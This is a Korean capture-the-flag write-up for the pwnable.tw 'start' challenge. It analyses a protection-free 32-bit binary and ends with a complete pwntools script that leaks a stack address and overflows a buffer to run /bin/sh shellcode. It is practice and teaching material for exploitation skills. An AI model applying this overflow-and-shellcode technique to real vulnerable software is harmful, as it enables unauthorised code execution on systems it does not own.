[ 실습 환경 ]
테스트 환경 : Ubuntu 18.04 64bit
테스트 대상 : start [i386-32-little, No RELRO, No Canary found, NX disabled, No PIE]
테스트 도구 : gdb(peda)
[바이너리 분석]
주어진 바이너리는 어떠한 보호기법조차 걸려있지 않으며 상당히 작은 사이즈의 바이너리로 확인된다.
다음의 디스어셈블한 코드를 살펴본 결과 interrupt를 이용해 system call을 하는 것으로 확인된다.
SYSCALL 부분과 Return 부분을 브레이킹 포인트를 걸어서 해당 상황에서의 메모리를 확인해보자.
다음과 같이 ECX레지스터에 출력할 문자열의 주소가 로드된 것을 확인할 수 있다.
Return Instruction을 실행할 떄의 스택 상황을 살펴본다.
현재 스택 상황에서 ret 명령어를 실행하면 스택 최상단에 있는 주소가 eip가 될 것이며
해당 스택 상황에서의 esp는 0xffffd048+4인 0xffffd04c가 될 것이다.
결과적으로 esp 레지스터에는 0xffffd050이 로드되있다.
이 정보를 알아야만 우리는 쉘코드의 주소를 알 수가 있다.
다음과 같이 유의미한 코드를 찾을 수 있었다.
해당 부분부터 실행하게 되면 esp[0xffffd04c] → 0xffffd050이 출력될 것이다.
다시 read를 진행할 때 총 0x14개의 dummy값과 esp+0x14의 주소를 대입한다면 해당 부분으로 ret하여
정상적으로 쉘코드가 실행될 것이다.
[바이너리 공격]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
from pwn import *
#context.log_level = "debug"
#p = remote('chall.pwnable.tw', 10000)
p = process("./start")
e = ELF("./start")
# STEP1. LEAK STACK ADDRESS
payload = "A"*0x14 + p32(0x08048087)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stack_addr = u32(p.recv(4))
sleep(0.2)
# STEP2. EXPLOIT!
shellcode = ""
shellcode += asm("xor eax, eax")
shellcode += asm("xor ebx, ebx")
shellcode += asm("xor ecx, ecx")
shellcode += asm("xor edx, edx")
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p.send("B"*0x14 + p32(stack_addr+0x14) + shellcode)
p.interactive()
|
cs |